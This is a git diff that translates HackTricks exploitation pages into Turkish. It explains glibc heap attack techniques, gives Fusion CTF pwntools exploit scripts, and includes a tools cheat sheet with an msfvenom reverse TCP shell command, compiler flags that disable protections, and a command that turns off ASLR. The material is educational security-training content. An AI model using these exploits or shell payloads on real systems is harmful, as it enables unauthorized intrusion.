shellcode +Ardından, 2. parçaya bir sürü nop koyuyoruz ve sonunda shellcode'u yerleştiriyoruz. -De esta forma se llamará a \_int_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR_END\_\_ la dirección del prev_size del TROZO2 el cual saltará a la shellcode. +Bu şekilde, \_int_free(TROZO1, TROZO2) çağrılacak ve talimatları izleyerek \_\_DTOR_END\_\_ adresine TROZO2'nin prev_size adresini yazacak, bu da shellcode'a atlayacaktır. -Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload. +Bu tekniği uygulamak için, payload'u biraz daha karmaşıklaştıran bazı ek gereksinimlerin karşılanması gerekir. -Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él. +Bu teknik artık uygulanamaz çünkü unlink için neredeyse aynı yamanın uygulandığı görüldü. Yeni işaret edilen yerin de kendisine işaret edip etmediği kontrol edilir. **Fastbin** -Es una variante de The house of mind +The house of mind'ın bir varyantıdır. -nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función \_int_free() +Aşağıdaki kodu çalıştırmak için, \_int_free() fonksiyonunun ilk kontrolünden geçmek önemlidir. -fb = &(av->fastbins\[fastbin_index(size)] —> Siendo fastbin_index(sz) —> (sz >> 3) - 2 +fb = &(av->fastbins\[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2 … @@ -404,61 +391,61 @@ p->fd = \*fb \*fb = p -De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max_fast esté en la dirección que vamos a sobreescribir. +Bu şekilde, “fb”'ye bir GOT fonksiyonunun adresi yerleştirilirse, bu adrese aşırı yazılmış parçanın adresi yerleştirilecektir. Bunun için arenanın dtors adreslerine yakın olması gerekecektir. Daha kesin olarak, av->max_fast'in aşırı yazacağımız adreste olması gerekmektedir. -Dado que con The House of Mind se vio que nosotros controlábamos la posición del av. +The House of Mind ile, av'nin konumunu kontrol edebildiğimizi gördük. -Entones si en el campo size ponemos un tamaño de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nos devolverá fastbins\[-1], que apuntará a av->max_fast +Bu nedenle, size alanına 8 + NON_MAIN_ARENA + PREV_INUSE yazarsak —> fastbin_index() fastbins\[-1'i döndürecektir, bu da av->max_fast'e işaret edecektir. -En este caso av->max_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita). +Bu durumda av->max_fast, aşırı yazılacak adres olacaktır (işaret ettiği adres değil, o konum aşırı yazılacaktır). -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops). +Ayrıca, serbest bırakılan parçanın komşusunun 8'den büyük olması gerektiği de belirtilmelidir -> Daha önce serbest bırakılan parçanın boyutunun 8 olduğunu belirttiğimiz için, bu sahte parçanın yalnızca 8'den büyük bir boyuta sahip olması gerekir (ayrıca shellcode serbest bırakılan parçada olacağından, başta nops'a düşecek bir jmp koymamız gerekecektir). -Además, ese mismo trozo falso debe ser menor que av->system_mem. av->system_mem se encuentra 1848 bytes más allá. +Ayrıca, bu sahte parça av->system_mem'den küçük olmalıdır. av->system_mem, 1848 bayt daha ileridedir. -Por culpa de los nulos de \_DTOR_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila. +\_\_DTOR_END\_'in sıfırları ve GOT'taki az sayıda adres nedeniyle, bu bölümlerin hiçbiri aşırı yazılmak için uygun değildir, bu nedenle yığın saldırısı için fastbin'i nasıl uygulayacağımıza bakalım. -Otra forma de ataque es redirigir el **av** hacia la pila. +Başka bir saldırı yöntemi, **av**'yi yığına yönlendirmektir. -Si modificamos el size para que de 16 en vez de 8 entonces: fastbin_index() nos devolverá fastbins\[0] y podemos hacer uso de esto para sobreescribir la pila. +Boyutu 8 yerine 16 olacak şekilde değiştirirsek, fastbin_index() fastbins\[0'ı döndürecektir ve bunu yığın üzerinde aşırı yazmak için kullanabiliriz. -Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET +Bunun için yığında hiçbir canary veya garip değer olmamalıdır, aslında şunları bulmalıyız: 4 bayt sıfır + EBP + RET -Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av** es el mutexe que tiene que valer 0. +4 bayt sıfır, **av**'nin bu adreste olmasını sağlamak için gereklidir ve bir **av**'nin ilk öğesi, 0 olmalıdır. -El **av->max_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones. +**av->max_fast**, EBP olacaktır ve bu, kısıtlamaları atlamamız için bir değer olacaktır. -En el **av->fastbins\[0]** se sobreescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode. +**av->fastbins\[0]**'da **p**'nin adresi ile aşırı yazılacak ve RET olacaktır, böylece shellcode'a atlayacaktır. -Además, en **av->system_mem** (1484bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza. +Ayrıca, **av->system_mem** (yığın konumunun 1484 bayt yukarısında) yeterince çöp olacaktır, bu da kontrolü atlamamıza izin verecektir. -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso). +Ayrıca, serbest bırakılan parçanın komşusunun 8'den büyük olması gerektiği de belirtilmelidir -> Daha önce serbest bırakılan parçanın boyutunun 16 olduğunu belirttiğimiz için, bu sahte parçanın yalnızca 8'den büyük bir boyuta sahip olması gerekir (ayrıca shellcode serbest bırakılan parçada olacağından, başta nops'a düşecek bir jmp koymamız gerekecektir). **The House of Spirit** -En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante (por ej, que el puntero esté en el stack debajo de un posible overflow a una variable). +Bu durumda, saldırgan tarafından değiştirilebilen bir malloc işaretçisine sahip olmayı hedefliyoruz (örneğin, işaretçi bir değişkenin altında yığında olabilir). -Así, podríamos hacer que este puntero apuntase a donde fuese. Sin embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av->max_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del trozo falso debe ser igual a 48. +Bu şekilde, bu işaretçiyi istediğimiz yere yönlendirebiliriz. Ancak, her yer geçerli değildir; sahte parçanın boyutu av->max_fast'ten küçük olmalı ve daha spesifik olarak, gelecekteki bir malloc() çağrısında istenen boyuta eşit olmalıdır. Bu nedenle, bu işaretçi savunmasız olduğunda malloc(40) çağrıldığında, sahte parçanın boyutu 48 olmalıdır. -Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes (que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size). Además, la dirección ptr-4+48 debe cumplir varias condiciones (siendo en este caso ptr=EBP), es decir, 8 < ptr-4+48 < av->system_mem. +Örneğin, program kullanıcıdan bir sayı isterse, 48 girebiliriz ve değiştirilebilir malloc işaretçisini sonraki 4 bayta (şans eseri EBP'ye ait olabilecek) yönlendirebiliriz, böylece 48 geride kalır, sanki başlık boyutuymuş gibi. Ayrıca, ptr-4+48 adresinin birkaç koşulu karşılaması gerekir (bu durumda ptr=EBP), yani, 8 < ptr-4+48 < av->system_mem. -En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc(40) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera. +Bu koşullar sağlanırsa, bir sonraki malloc çağrısı malloc(40) olduğunda, EBP adresine atanacaktır. Eğer saldırgan bu malloc'ta ne yazılacağını da kontrol edebilirse, hem EBP'yi hem de EIP'yi istediği adresle aşırı yazabilir. -Esto creo que es porque así cuando lo libere free() guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc() que se quiere reservar, así que le asigna esa dirección. +Bunun nedeni, free() çağrıldığında, yığın üzerindeki EBP adresine işaret eden bir parçanın, yeni malloc() için mükemmel boyutta bir parça olduğunu kaydetmesidir, bu nedenle o adrese atanır. **The House of Force** -Es necesario: +Gereksinimler: -- Un overflow a un trozo que permita sobreescribir el wilderness -- Una llamada a malloc() con el tamaño definido por el usuario -- Una llamada a malloc() cuyos datos puedan ser definidos por el usuario +- Wilderness'a aşırı yazma yapacak bir taşma +- Kullanıcı tarafından tanımlanan boyutta bir malloc() çağrısı +- Kullanıcı tarafından tanımlanabilen verilerle bir malloc() çağrısı -Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int_malloc() sin necesidad de expandir el heap +İlk olarak, wilderness parçasının boyutunu çok büyük bir değerle (0xffffffff) aşırı yazıyoruz, böylece yeterince büyük herhangi bir bellek talebi, yığını genişletmeye gerek kalmadan \_int_malloc() içinde işlenir. -Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8. +İkincisi, av->top'un, saldırganın kontrolü altındaki bir bellek alanına işaret etmesini sağlamak, örneğin yığın. av->top'a \&EIP - 8 yazılacaktır. -Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante: +av->top'u, saldırganın kontrolü altındaki bellek alanına işaret edecek şekilde aşırı yazmalıyız: victim = av->top; @@ -466,86 +453,85 @@ remainder = chunck_at_offset(victim, nb); av->top = remainder; -Victim recoge el valor de la dirección del trozo wilderness actual (el actual av->top) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc(). Por lo que si \&EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top quede apuntando a $EIP-8 para el próximo malloc() será: +Victim, mevcut wilderness parçasının adresinin değerini alır (mevcut av->top) ve remainder, o adresin üzerine malloc() tarafından talep edilen bayt sayısını ekler. Yani, \&EIP-8 0xbffff224'te ve av->top 0x080c2788'de ise, kontrol edilen malloc'ta av->top'un $EIP-8'e işaret etmesi için ayırmamız gereken miktar: 0xbffff224 - 0x080c2788 = 3086207644. -Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir. +Böylece av->top'a değiştirilmiş değer kaydedilecektir ve bir sonraki malloc, EIP'ye işaret edecek ve onu aşırı yazabilecektir. -Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc(). Es decir, si el wilderness está apuntando a \&EIP-8, el size quedará justo en el campo EBP del stack. +Yeni wilderness parçasının boyutunun, son malloc() talebinden daha büyük olduğunu bilmek önemlidir. Yani, wilderness \&EIP-8'e işaret ediyorsa, boyut tam olarak yığın üzerindeki EBP alanında kalacaktır. **The House of Lore** -**Corrupción SmallBin** +**SmallBin Bozulması** -Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado. +Serbest bırakılan parçalar, boyutlarına göre bin'e yerleştirilir. Ancak, yerleştirilmeden önce unsorted bins'de saklanır. Bir parça serbest bırakıldığında, hemen bin'e yerleştirilmez, bunun yerine unsorted bins'de kalır. Ardından, yeni bir parça talep edildiğinde ve önceki serbest bırakılan parça ona hizmet edebiliyorsa, onu geri verir; ancak daha büyük bir parça talep edilirse, unsorted bins'deki serbest bırakılan parça uygun bin'ine yerleştirilir. -Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max_fast (72normalmente) y menos a MIN_LARGE_SIZE (512). +Zayıf kodu elde etmek için bellek talebinin av->max_fast'ten (genellikle 72) büyük ve MIN_LARGE_SIZE'dan (512) küçük olması gerekir. -Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo: +Eğer bin'de talep edilen boyuta uygun bir parça varsa, serbest bırakıldıktan sonra o parça geri verilir: -bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar. +bck = victim->bk; Önceki parçaya işaret eder, değiştirebileceğimiz tek bilgidir. -bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección +bin->bk = bck; Önceki parça son parça olur, eğer bck yığına işaret ediyorsa, bir sonraki rezervasyon bu adrese verilecektir. -bck->fd = bin; Se cierra la lista haciendo que este apunte a bin +bck->fd = bin; Listeyi kapatır, böylece bu bin'e işaret eder. -Se necesita: +Gereksinimler: -Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow) +- İki malloc rezervasyonu yapılması, böylece ilki, ikincisi serbest bırakıldıktan sonra taşma yapılabilir (yani, taşma yapılmadan önce ikinci parçadan daha büyük bir malloc rezervasyonu yapılmalıdır). +- Saldırgan tarafından kontrol edilen malloc rezervasyonu. -Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante. +Amaç şudur: Eğer serbest bırakılmış bir yığın parçasına ve onun bin'ine taşma yapabiliyorsak, bk işaretçisini değiştirebiliriz. Eğer bk işaretçisini değiştirirsek ve bu parça listenin başı olursa ve yeniden rezervasyon yapılırsa, bin'e, bir sonraki parça (sunulacak olan) için sahte bir adres verildiği söylenir (yığın veya GOT gibi). Böylece, başka bir parça yeniden rezervasyon yapıldığında ve saldırganın buna erişimi varsa, istenen konumda bir parça verilecektir ve orada yazma işlemi yapılabilecektir. -El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella. +Değiştirilen parçayı serbest bıraktıktan sonra, serbest bırakılan parçadan daha büyük bir parça rezervasyonu yapılması gerekir, böylece değiştirilen parça unsorted bins'den çıkar ve uygun bin'ine yerleştirilir. -Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin. +Bir kez bin'ine yerleştirildiğinde, taşma ile bk işaretçisini değiştirmek için zamanı gelmiştir, böylece istediğimiz adrese işaret eder. -Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir. +Bu nedenle, bin, yeterince malloc() çağrısı yapılana kadar beklemelidir, böylece değiştirilen bin yeniden kullanılır ve bin'e, bir sonraki parçanın sahte adreste olduğunu düşündürür. Ardından, ilgilendiğimiz parça verilecektir. -Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa. +Zayıflığın mümkün olan en kısa sürede çalışması için ideal olan, zayıf parçanın rezervasyonu, değiştirilecek parçanın rezervasyonu, bu parçanın serbest bırakılması, daha büyük bir parça rezervasyonu yapılması, parçanın değiştirilmesi (zayıflık), zayıf parçayla aynı boyutta bir parça rezervasyonu yapılması ve bu ikinci parçanın istenen adrese işaret etmesidir. -Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida. +Bu saldırıyı korumak için, parçanın “sahte” olmadığını kontrol eden tipik bir kontrol kullanılmıştır: bck->fd'nin victim'a işaret edip etmediği kontrol edilir. Yani, bizim durumumuzda, yığında işaret edilen sahte parçanın fd* işaretçisinin victim'a işaret edip etmediği kontrol edilir. Bu korumayı aşmak için, saldırganın bir şekilde (muhtemelen yığın üzerinden) uygun adrese victim adresini yazabilmesi gerekir. Böylece, gerçek bir parça gibi görünür. -Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero. +**LargeBin Bozulması** -**Corrupción LargeBin** +Önceki gereksinimlerin yanı sıra, rezervasyon yapılan parçaların boyutları 512'den büyük olmalıdır. -Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512. +Saldırı, önceki gibi, bk işaretçisini değiştirmeyi gerektirir ve tüm bu malloc() çağrılarına ihtiyaç vardır, ancak ayrıca, değiştirilen parçanın boyutunu, bu boyut - nb < MINSIZE olacak şekilde değiştirmek gerekir. -El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE. +Örneğin, boyutu 1552 olarak ayarlamak, 1552 - 1544 = 8 < MINSIZE olmasını sağlar (çıkarma işlemi negatif olmamalıdır çünkü unsigned bir değer karşılaştırılır). -Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned) - -Además se ha introducido un parche para hacerlo aún más complicado. +Ayrıca, bunu daha da karmaşık hale getiren bir yamanın uygulandığı belirtilmiştir. **Heap Spraying** -Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops. +Temelde, mümkün olan tüm bellek alanını yığınlar için ayırmak ve bunları bir nop yastığı ile doldurmak ve ardından bir shellcode ile doldurmak anlamına gelir. Ayrıca, yastık olarak 0x0c kullanılır. Çünkü 0x0c0c0c0c adresine atlamaya çalışılacak ve bu nedenle, bu adrese yazılan herhangi bir işaretçi aşırı yazılırsa, oraya atlanacaktır. Temel olarak taktik, mümkün olduğunca fazla alan ayırmak ve herhangi bir işaretçiyi aşırı yazıp 0x0c0c0c0c adresine atlamaktır, umarak orada nops bulmaktır. **Heap Feng Shui** -Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos. +Belleği, rezervasyonlar ve serbest bırakmalar yoluyla, boş parçaların arasında rezervasyon yapılmış parçalar kalacak şekilde düzenlemeyi içerir. Taşma yapılacak tampon, bu parçalardan birinin içinde yer alacaktır. -**objdump -d ejecutable** —> Disas functions\ -**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\ -**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\ -**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\ +**objdump -d yürütülebilir** —> Fonksiyonları disassemble eder\ +**objdump -d ./PROGRAMA | grep FUNCION** —> Fonksiyon adresini alır\ +**objdump -d -Mintel ./shellcodeout** —> Gerçekten shellcode olduğundan emin olmak ve OpCodes almak için\ +**objdump -t ./exec | grep varBss** —> Semboller tablosu, değişkenlerin ve fonksiyonların adreslerini almak için\ +**objdump -TR ./exec | grep exit(func lib)** —> Kütüphane fonksiyonlarının adreslerini almak için (GOT)\ **objdump -d ./exec | grep funcCode**\ **objdump -s -j .dtors /exec**\ **objdump -s -j .got ./exec**\ -**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\ -**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\ +**objdump -t --dynamic-relo ./exec | grep puts** —> GOT'ta aşırı yazılacak puts adresini alır\ +**objdump -D ./exec** —> Tümünü disassemble eder, plt girişlerine kadar\ **objdump -p -/exec**\ -**Info functions strncmp —>** Info de la función en gdb +**Info functions strncmp —>** gdb'de fonksiyon bilgisi -## Interesting courses +## İlginç Kurslar - [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) - [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) - [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) -## **References** +## **Referanslar** - [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html) diff --git a/src/exploiting/linux-exploiting-basic-esp/fusion.md b/src/exploiting/linux-exploiting-basic-esp/fusion.md index 344a72d02..4a48197e6 100644 --- a/src/exploiting/linux-exploiting-basic-esp/fusion.md +++ b/src/exploiting/linux-exploiting-basic-esp/fusion.md @@ -4,9 +4,8 @@ [http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) -1. Get offset to modify EIP -2. Put shellcode address in EIP - +1. EIP'yi değiştirmek için offset alın +2. EIP'ye shellcode adresini koyun ```python from pwn import * @@ -32,9 +31,7 @@ r.recvline() r.send(buf) r.interactive() ``` - -# Level01 - +# Seviye01 ```python from pwn import * @@ -60,5 +57,4 @@ buf += "\x65\xd9\x0f\x01" r.send(buf) r.interactive() ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/README.md b/src/exploiting/tools/README.md index 0ca40e712..d828f23e7 100644 --- a/src/exploiting/tools/README.md +++ b/src/exploiting/tools/README.md @@ -3,7 +3,6 @@ {{#include ../../banners/hacktricks-training.md}} ## Metasploit - ``` pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -11,31 +10,23 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` - -### Shellcodes - +### Shellcodlar ``` msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - ## GDB -### Install - +### Kurulum ``` apt-get install gdb ``` - -### Parameters - +### Parametreler ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` - -### Instructions - +### Talimatlar ```bash run # Execute start # Start and break in main @@ -81,9 +72,7 @@ x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` - ### [GEF](https://github.com/hugsy/gef) - ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -113,34 +102,32 @@ shellcode get 61 #Download shellcode number 61 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` - ### Tricks -#### GDB same addresses +#### GDB aynı adresler -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +GDB hata ayıklarken **çalıştırıldığında ikili dosya tarafından kullanılan adreslerden biraz farklı adreslere sahip olacaktır.** GDB'nin aynı adreslere sahip olmasını sağlamak için: - `unset env LINES` - `unset env COLUMNS` -- `set env _=` _Put the absolute path to the binary_ -- Exploit the binary using the same absolute route -- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +- `set env _=` _İkili dosyanın mutlak yolunu koyun_ +- İkili dosyayı aynı mutlak yol ile istismar edin +- GDB kullanırken ve ikili dosyayı istismar ederken `PWD` ve `OLDPWD` aynı olmalıdır -#### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +#### Fonksiyonları bulmak için geri izleme +Eğer **statik olarak bağlı bir ikili dosya** varsa, tüm fonksiyonlar ikili dosyaya ait olacaktır (ve dış kütüphanelere değil). Bu durumda, **ikili dosyanın kullanıcı girişi istemek için izlediği akışı tanımlamak zor olacaktır.**\ +Bu akışı kolayca tanımlayabilirsiniz **gdb** ile ikili dosyayı çalıştırarak, giriş istenene kadar. Ardından, **CTRL+C** ile durdurun ve çağrılan fonksiyonları görmek için **`bt`** (**geri izleme**) komutunu kullanın: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -149,79 +136,74 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` +### GDB sunucusu -### GDB server - -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947` (IDA'da Linux makinesindeki çalıştırılabilir dosyanın mutlak yolunu ve Windows makinesindeki yolu doldurmalısınız) ## Ghidra -### Find stack offset +### Yığın ofsetini bul -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra**, **yerel değişkenlerin konumu hakkında bilgi sayesinde bir **buffer overflow** için **ofset** bulmak için çok kullanışlıdır.**\ +Örneğin, aşağıdaki örnekte, `local_bc`'deki bir buffer akışı, `0xbc` ofsetine ihtiyacınız olduğunu gösterir. Ayrıca, `local_10` bir canary çereziyse, `local_bc`'den üzerine yazmak için `0xac` ofsetine ihtiyaç olduğunu gösterir.\ +_RIP'in kaydedildiği ilk 0x08'in RBP'ye ait olduğunu unutmayın._ ![](<../../images/image (616).png>) ## GCC -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ -**-o** --> Output\ -**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Korumasız derleme\ +**-o** --> Çıktı\ +**-g** --> Kodu kaydet (GDB bunu görebilecek)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> Linux'ta ASLR'yi devre dışı bırakmak için -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**Bir shellcode derlemek için:**\ +**nasm -f elf assembly.asm** --> bir ".o" döndürür\ +**ld assembly.o -o shellcodeout** --> Çalıştırılabilir ## Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -**-Mintel** --> **Intel** syntax\ -**-t** --> **Symbols** table\ -**-D** --> **Disassemble all** (address of static variable)\ -**-s -j .dtors** --> dtors section\ -**-s -j .got** --> got section\ -\-D -s -j .plt --> **plt** section **decompiled**\ -**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> **Çalıştırılabilir** bölümleri **dağıt** (derlenmiş bir shellcode'un opcode'larını görmek, ROP Gadget'ları bulmak, fonksiyon adresini bulmak...)\ +**-Mintel** --> **Intel** sözdizimi\ +**-t** --> **Semboller** tablosu\ +**-D** --> **Hepsini dağıt** (statik değişkenin adresi)\ +**-s -j .dtors** --> dtors bölümü\ +**-s -j .got** --> got bölümü\ +\-D -s -j .plt --> **plt** bölümü **değiştirildi**\ +**-TR** --> **Yeniden konumlandırmalar**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT'da değiştirilmesi gereken "puts" adresi\ +**objdump -D ./exec | grep "VAR_NAME"** --> Statik bir değişkenin adresi (bunlar DATA bölümünde saklanır). -## Core dumps +## Core dump'lar -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +1. Programımı başlatmadan önce `ulimit -c unlimited` çalıştırın +2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` çalıştırın 3. sudo gdb --core=\ --quiet -## More 